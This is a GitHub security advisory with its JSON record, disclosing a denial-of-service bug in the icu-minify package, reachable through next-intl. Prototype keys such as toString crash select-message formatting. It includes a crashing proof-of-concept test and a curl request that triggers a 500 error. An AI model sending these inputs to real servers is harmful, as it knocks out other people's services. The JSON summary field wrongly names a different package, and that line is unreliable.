GHSA-R27J-894H-3W3P
Vulnerability from github – Published: 2026-05-06 17:32 – Updated: 2026-05-06 17:32Summary
icu-minify's runtime formatter resolves select branches by looking up the runtime value as a plain property on a prototype-bearing object. When the value coerces to a key that exists on Object.prototype (e.g. toString, __proto__, constructor, hasOwnProperty, valueOf), the lookup returns a truthy value that short-circuits the ?? options.other fallback, and the downstream iterator crashes with TypeError: nodes is not iterable. Any consumer that forwards user input into a {arg, select, …} placeholder — a common idiom for role, status, type, gender — can be crashed per-request by supplying one of those keys. In Next.js SSR (via next-intl with experimental.messages.precompile) this yields a 500 for the affected render.
Details
Vulnerable code paths
Compilation produces a plain object whose prototype chain includes all Object.prototype members:
// packages/icu-minify/src/compile.tsx:191-199
function compileSelect(node: SelectElement): CompiledNode {
const options: SelectOptions = {}; // <-- plain object, inherits from Object.prototype
for (const [key, option] of Object.entries(node.options)) {
options[key] = compileNodesToNode(option.value);
}
return [node.value, TYPE_SELECT, options];
}
At runtime, the formatter looks up the user-controllable value directly on that object:
// packages/icu-minify/src/format.tsx:226-244
function formatSelect<RichTextElement>(
name: string,
options: SelectOptions,
locale: string,
values: FormatValues<RichTextElement>,
formatOptions: FormatOptions,
pluralCtx: PluralContext | undefined
): string | RichTextElement | Array<string | RichTextElement> {
const value = String(getValue(values, name)); // 234: coerce to string, no sanitization
const branch: CompiledNode | undefined = options[value] ?? options.other; // 235: unsafe lookup
if (process.env.NODE_ENV !== 'production' && !branch) {
throw new Error(
`No matching branch for select "${name}" with value "${value}"`
);
}
return formatBranch(branch, locale, values, formatOptions, pluralCtx); // 243
}
Because options inherits from Object.prototype, lookups such as options['toString'] return Object.prototype.toString — a truthy Function. The ?? options.other fallback is therefore skipped, and the non-array, non-string branch is passed to formatBranch, which forwards it to formatNodes:
// packages/icu-minify/src/format.tsx:286-308
function formatBranch<RichTextElement>(
branch: CompiledNode,
/* … */
) {
if (typeof branch === 'string') return branch; // string: fine
if (branch === TYPE_POUND) return formatNode(/* … */); // pound: fine
return formatNodes(branch as Array<CompiledNode>, /* … */); // 301: Function is not iterable
}
// packages/icu-minify/src/format.tsx:73-92
function formatNodes<RichTextElement>(
nodes: Array<CompiledNode>,
/* … */
): Array<string | RichTextElement> {
const result: Array<string | RichTextElement> = [];
for (const node of nodes) { // 82: TypeError: nodes is not iterable
/* … */
}
return result;
}
Five bare-prototype keys reliably crash the formatter in production: toString, __proto__, constructor, hasOwnProperty, valueOf (plus propertyIsEnumerable, isPrototypeOf, toLocaleString). Note the development branch at line 237 (throw new Error('No matching branch for select …')) is bypassed because the inherited function is truthy — so this is not masked in development either.
Why formatPlural is not affected
formatPlural (format.tsx:246-284) looks safe for two independent reasons and does not need to be patched for this specific bug:
- Exact-match keys use the
=${value}prefix (exactKey = '=' + value, line 263), so the attacker would need to supply e.g.=toString, which is not a member ofObject.prototype. - The category branch uses
formatOptions.formatters.getPluralRules(locale, {type}).select(value)which returns a fixed enum (zero|one|two|few|many|other), never attacker-supplied.
The bug is specific to the select path where the raw string value is used as the lookup key.
Reachability
- Direct consumers of
icu-minify: any code callingformat(compiled, locale, values, …)wherevalues[arg]for aselectplaceholder comes from user input is vulnerable with no additional preconditions. next-intlusers who enableexperimental.messages.precompile(packages/next-intl/src/plugin/types.tsx:24, wired inpackages/next-intl/src/plugin/getNextConfig.tsx:177-293): the runtime atpackages/use-intl/src/core/format-message/format-only.tsxforwards directly toicu-minify/format, sot('msg', {role: req.query.role})against a{role, select, admin {…} other {…}}message crashes the render.
No middleware, type guard, escaping, or framework default stands between user input and the unsafe lookup — values reaches format() unmodified.
PoC
Verified dynamically against packages/icu-minify/src/format.tsx at commit b4aa538 (v4.9.1) with vitest and NODE_ENV=production.
Reproduction (drop into packages/icu-minify/test/poc.test.ts and run pnpm exec vitest run test/poc.test.ts):
import {describe, expect, it} from 'vitest';
import compile from '../src/compile.js';
import format, {type FormatOptions} from '../src/format.js';
const formatters: FormatOptions['formatters'] = {
getDateTimeFormat: (...a) => new Intl.DateTimeFormat(...a),
getNumberFormat: (...a) => new Intl.NumberFormat(...a),
getPluralRules: (...a) => new Intl.PluralRules(...a)
};
describe('select prototype-key DoS', () => {
const compiled = compile('{role, select, admin {Admin} user {User} other {Guest}}');
for (const key of ['toString', '__proto__', 'constructor', 'hasOwnProperty', 'valueOf']) {
it(`crashes on role="${key}"`, () => {
process.env.NODE_ENV = 'production';
expect(() => format(compiled, 'en', {role: key}, {formatters}))
.toThrow(TypeError); // "nodes is not iterable"
});
}
});
Observed output (each of the 5 keys):
TypeError: nodes is not iterable
at formatNodes (packages/icu-minify/src/format.tsx:82:22)
at formatBranch (packages/icu-minify/src/format.tsx:301:10)
at formatSelect (packages/icu-minify/src/format.tsx:243:10)
at formatNode (packages/icu-minify/src/format.tsx:150:14)
at formatNodes (packages/icu-minify/src/format.tsx:83:23)
at format (packages/icu-minify/src/format.tsx:64:18)
End-to-end Next.js scenario (illustrative — any attacker-controlled role/status/type/gender forwarded into a select placeholder triggers the same exception inside the server render):
// app/[locale]/profile/page.tsx — assume precompile enabled
export default async function Page({searchParams}: {searchParams: Promise<{role?: string}>}) {
const t = await getTranslations('Profile');
const {role = 'other'} = await searchParams;
return <h1>{t('greeting', {role})}</h1>;
// ^^^^^ messages: { "greeting": "{role, select, admin {Hi admin} other {Hi}}" }
}
curl -i 'https://target.example/en/profile?role=toString'
HTTP/1.1 500 Internal Server Error
Impact
- Availability: An unauthenticated attacker can force a 500 response on any page or API route that formats a
selectICU message using user-controllable input. Each request fails independently; there is no persistent state corruption or amplification beyond the malicious request. - Confidentiality / Integrity: None. No data is leaked and no prototype write occurs — this is a prototype-chain read confusion, not a prototype pollution write.
- Scope: Any consumer of
icu-minifythat passes user input into aselectbranch is vulnerable.next-intlusers are only exposed if they have opted into the experimentalexperimental.messages.precompileflag. - Preconditions: Developer must forward untrusted input to a
{arg, select, …}placeholder. This is a routine pattern (role,status,gender,type) and the library offers no documentation warning thatselectkeys must be validated against prototype members.
Recommended Fix
Either of the following (defense-in-depth suggests both). Both are one-line, minimal-churn fixes.
- Use a null-prototype map in
compileSelect(and symmetrically incompilePlural) so that noObject.prototypekeys can ever be resolved:
// packages/icu-minify/src/compile.tsx
function compileSelect(node: SelectElement): CompiledNode {
- const options: SelectOptions = {};
+ const options: SelectOptions = Object.create(null);
for (const [key, option] of Object.entries(node.options)) {
options[key] = compileNodesToNode(option.value);
}
return [node.value, TYPE_SELECT, options];
}
- Gate the runtime lookup with
Object.prototype.hasOwnProperty.callso theotherfallback is reached for any non-own key:
// packages/icu-minify/src/format.tsx
function formatSelect<RichTextElement>(/* … */) {
const value = String(getValue(values, name));
- const branch: CompiledNode | undefined = options[value] ?? options.other;
+ const branch: CompiledNode | undefined =
+ Object.prototype.hasOwnProperty.call(options, value) ? options[value] : options.other;
/* … */
}
Option 1 is preferable because it also survives future serialization round-trips (e.g. JSON-hydrated compiled messages) and removes the hazard at the source. Option 2 is a defensive backstop for any code path that constructs SelectOptions from arbitrary JSON at runtime.
No regression is expected in tests — compileSelect never reads back through the prototype chain, and all existing lookups use own properties.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.9.1"
},
"package": {
"ecosystem": "npm",
"name": "icu-minify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.9.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T17:32:01Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\n\n`icu-minify`\u0027s runtime formatter resolves `select` branches by looking up the runtime value as a plain property on a prototype-bearing object. When the value coerces to a key that exists on `Object.prototype` (e.g. `toString`, `__proto__`, `constructor`, `hasOwnProperty`, `valueOf`), the lookup returns a truthy value that short-circuits the `?? options.other` fallback, and the downstream iterator crashes with `TypeError: nodes is not iterable`. Any consumer that forwards user input into a `{arg, select, \u2026}` placeholder \u2014 a common idiom for `role`, `status`, `type`, `gender` \u2014 can be crashed per-request by supplying one of those keys. In Next.js SSR (via `next-intl` with `experimental.messages.precompile`) this yields a 500 for the affected render.\n\n## Details\n\n### Vulnerable code paths\n\nCompilation produces a plain object whose prototype chain includes all `Object.prototype` members:\n\n```tsx\n// packages/icu-minify/src/compile.tsx:191-199\nfunction compileSelect(node: SelectElement): CompiledNode {\n const options: SelectOptions = {}; // \u003c-- plain object, inherits from Object.prototype\n\n for (const [key, option] of Object.entries(node.options)) {\n options[key] = compileNodesToNode(option.value);\n }\n\n return [node.value, TYPE_SELECT, options];\n}\n```\n\nAt runtime, the formatter looks up the user-controllable value directly on that object:\n\n```tsx\n// packages/icu-minify/src/format.tsx:226-244\nfunction formatSelect\u003cRichTextElement\u003e(\n name: string,\n options: SelectOptions,\n locale: string,\n values: FormatValues\u003cRichTextElement\u003e,\n formatOptions: FormatOptions,\n pluralCtx: PluralContext | undefined\n): string | RichTextElement | Array\u003cstring | RichTextElement\u003e {\n const value = String(getValue(values, name)); // 234: coerce to string, no sanitization\n const branch: CompiledNode | undefined = options[value] ?? options.other; // 235: unsafe lookup\n\n if (process.env.NODE_ENV !== \u0027production\u0027 \u0026\u0026 !branch) {\n throw new Error(\n `No matching branch for select \"${name}\" with value \"${value}\"`\n );\n }\n\n return formatBranch(branch, locale, values, formatOptions, pluralCtx); // 243\n}\n```\n\nBecause `options` inherits from `Object.prototype`, lookups such as `options[\u0027toString\u0027]` return `Object.prototype.toString` \u2014 a truthy `Function`. The `?? options.other` fallback is therefore skipped, and the non-array, non-string branch is passed to `formatBranch`, which forwards it to `formatNodes`:\n\n```tsx\n// packages/icu-minify/src/format.tsx:286-308\nfunction formatBranch\u003cRichTextElement\u003e(\n branch: CompiledNode,\n /* \u2026 */\n) {\n if (typeof branch === \u0027string\u0027) return branch; // string: fine\n if (branch === TYPE_POUND) return formatNode(/* \u2026 */); // pound: fine\n return formatNodes(branch as Array\u003cCompiledNode\u003e, /* \u2026 */); // 301: Function is not iterable\n}\n\n// packages/icu-minify/src/format.tsx:73-92\nfunction formatNodes\u003cRichTextElement\u003e(\n nodes: Array\u003cCompiledNode\u003e,\n /* \u2026 */\n): Array\u003cstring | RichTextElement\u003e {\n const result: Array\u003cstring | RichTextElement\u003e = [];\n for (const node of nodes) { // 82: TypeError: nodes is not iterable\n /* \u2026 */\n }\n return result;\n}\n```\n\nFive bare-prototype keys reliably crash the formatter in production: `toString`, `__proto__`, `constructor`, `hasOwnProperty`, `valueOf` (plus `propertyIsEnumerable`, `isPrototypeOf`, `toLocaleString`). Note the development branch at line 237 (`throw new Error(\u0027No matching branch for select \u2026\u0027)`) is bypassed because the inherited function is truthy \u2014 so this is not masked in development either.\n\n### Why `formatPlural` is not affected\n\n`formatPlural` (format.tsx:246-284) looks safe for two independent reasons and does not need to be patched for this specific bug:\n\n1. Exact-match keys use the `=${value}` prefix (`exactKey = \u0027=\u0027 + value`, line 263), so the attacker would need to supply e.g. `=toString`, which is not a member of `Object.prototype`.\n2. The category branch uses `formatOptions.formatters.getPluralRules(locale, {type}).select(value)` which returns a fixed enum (`zero|one|two|few|many|other`), never attacker-supplied.\n\nThe bug is specific to the `select` path where the raw string value is used as the lookup key.\n\n### Reachability\n\n- **Direct consumers of `icu-minify`**: any code calling `format(compiled, locale, values, \u2026)` where `values[arg]` for a `select` placeholder comes from user input is vulnerable with no additional preconditions.\n- **`next-intl` users** who enable `experimental.messages.precompile` (`packages/next-intl/src/plugin/types.tsx:24`, wired in `packages/next-intl/src/plugin/getNextConfig.tsx:177-293`): the runtime at `packages/use-intl/src/core/format-message/format-only.tsx` forwards directly to `icu-minify/format`, so `t(\u0027msg\u0027, {role: req.query.role})` against a `{role, select, admin {\u2026} other {\u2026}}` message crashes the render.\n\nNo middleware, type guard, escaping, or framework default stands between user input and the unsafe lookup \u2014 `values` reaches `format()` unmodified.\n\n## PoC\n\nVerified dynamically against `packages/icu-minify/src/format.tsx` at commit `b4aa538` (v4.9.1) with vitest and `NODE_ENV=production`.\n\nReproduction (drop into `packages/icu-minify/test/poc.test.ts` and run `pnpm exec vitest run test/poc.test.ts`):\n\n```ts\nimport {describe, expect, it} from \u0027vitest\u0027;\nimport compile from \u0027../src/compile.js\u0027;\nimport format, {type FormatOptions} from \u0027../src/format.js\u0027;\n\nconst formatters: FormatOptions[\u0027formatters\u0027] = {\n getDateTimeFormat: (...a) =\u003e new Intl.DateTimeFormat(...a),\n getNumberFormat: (...a) =\u003e new Intl.NumberFormat(...a),\n getPluralRules: (...a) =\u003e new Intl.PluralRules(...a)\n};\n\ndescribe(\u0027select prototype-key DoS\u0027, () =\u003e {\n const compiled = compile(\u0027{role, select, admin {Admin} user {User} other {Guest}}\u0027);\n\n for (const key of [\u0027toString\u0027, \u0027__proto__\u0027, \u0027constructor\u0027, \u0027hasOwnProperty\u0027, \u0027valueOf\u0027]) {\n it(`crashes on role=\"${key}\"`, () =\u003e {\n process.env.NODE_ENV = \u0027production\u0027;\n expect(() =\u003e format(compiled, \u0027en\u0027, {role: key}, {formatters}))\n .toThrow(TypeError); // \"nodes is not iterable\"\n });\n }\n});\n```\n\nObserved output (each of the 5 keys):\n\n```\nTypeError: nodes is not iterable\n at formatNodes (packages/icu-minify/src/format.tsx:82:22)\n at formatBranch (packages/icu-minify/src/format.tsx:301:10)\n at formatSelect (packages/icu-minify/src/format.tsx:243:10)\n at formatNode (packages/icu-minify/src/format.tsx:150:14)\n at formatNodes (packages/icu-minify/src/format.tsx:83:23)\n at format (packages/icu-minify/src/format.tsx:64:18)\n```\n\nEnd-to-end Next.js scenario (illustrative \u2014 any attacker-controlled `role`/`status`/`type`/`gender` forwarded into a `select` placeholder triggers the same exception inside the server render):\n\n```tsx\n// app/[locale]/profile/page.tsx \u2014 assume precompile enabled\nexport default async function Page({searchParams}: {searchParams: Promise\u003c{role?: string}\u003e}) {\n const t = await getTranslations(\u0027Profile\u0027);\n const {role = \u0027other\u0027} = await searchParams;\n return \u003ch1\u003e{t(\u0027greeting\u0027, {role})}\u003c/h1\u003e;\n // ^^^^^ messages: { \"greeting\": \"{role, select, admin {Hi admin} other {Hi}}\" }\n}\n```\n\n```\ncurl -i \u0027https://target.example/en/profile?role=toString\u0027\nHTTP/1.1 500 Internal Server Error\n```\n\n## Impact\n\n- **Availability**: An unauthenticated attacker can force a 500 response on any page or API route that formats a `select` ICU message using user-controllable input. Each request fails independently; there is no persistent state corruption or amplification beyond the malicious request.\n- **Confidentiality / Integrity**: None. No data is leaked and no prototype write occurs \u2014 this is a prototype-chain *read* confusion, not a prototype pollution write.\n- **Scope**: Any consumer of `icu-minify` that passes user input into a `select` branch is vulnerable. `next-intl` users are only exposed if they have opted into the experimental `experimental.messages.precompile` flag.\n- **Preconditions**: Developer must forward untrusted input to a `{arg, select, \u2026}` placeholder. This is a routine pattern (`role`, `status`, `gender`, `type`) and the library offers no documentation warning that `select` keys must be validated against prototype members.\n\n## Recommended Fix\n\nEither of the following (defense-in-depth suggests both). Both are one-line, minimal-churn fixes.\n\n1. Use a null-prototype map in `compileSelect` (and symmetrically in `compilePlural`) so that no `Object.prototype` keys can ever be resolved:\n\n```tsx\n// packages/icu-minify/src/compile.tsx\nfunction compileSelect(node: SelectElement): CompiledNode {\n- const options: SelectOptions = {};\n+ const options: SelectOptions = Object.create(null);\n\n for (const [key, option] of Object.entries(node.options)) {\n options[key] = compileNodesToNode(option.value);\n }\n\n return [node.value, TYPE_SELECT, options];\n }\n```\n\n2. Gate the runtime lookup with `Object.prototype.hasOwnProperty.call` so the `other` fallback is reached for any non-own key:\n\n```tsx\n// packages/icu-minify/src/format.tsx\n function formatSelect\u003cRichTextElement\u003e(/* \u2026 */) {\n const value = String(getValue(values, name));\n- const branch: CompiledNode | undefined = options[value] ?? options.other;\n+ const branch: CompiledNode | undefined =\n+ Object.prototype.hasOwnProperty.call(options, value) ? options[value] : options.other;\n /* \u2026 */\n }\n```\n\nOption 1 is preferable because it also survives future serialization round-trips (e.g. JSON-hydrated compiled messages) and removes the hazard at the source. Option 2 is a defensive backstop for any code path that constructs `SelectOptions` from arbitrary JSON at runtime.\n\nNo regression is expected in tests \u2014 `compileSelect` never reads back through the prototype chain, and all existing lookups use own properties.",
"id": "GHSA-r27j-894h-3w3p",
"modified": "2026-05-06T17:32:01Z",
"published": "2026-05-06T17:32:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/amannn/next-intl/security/advisories/GHSA-r27j-894h-3w3p"
},
{
"type": "PACKAGE",
"url": "https://github.com/amannn/next-intl"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "mcp-data-vis vulnerable to denial of service via unsanitized `select` key lookup on `Object.prototype` with `precompile: true`"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.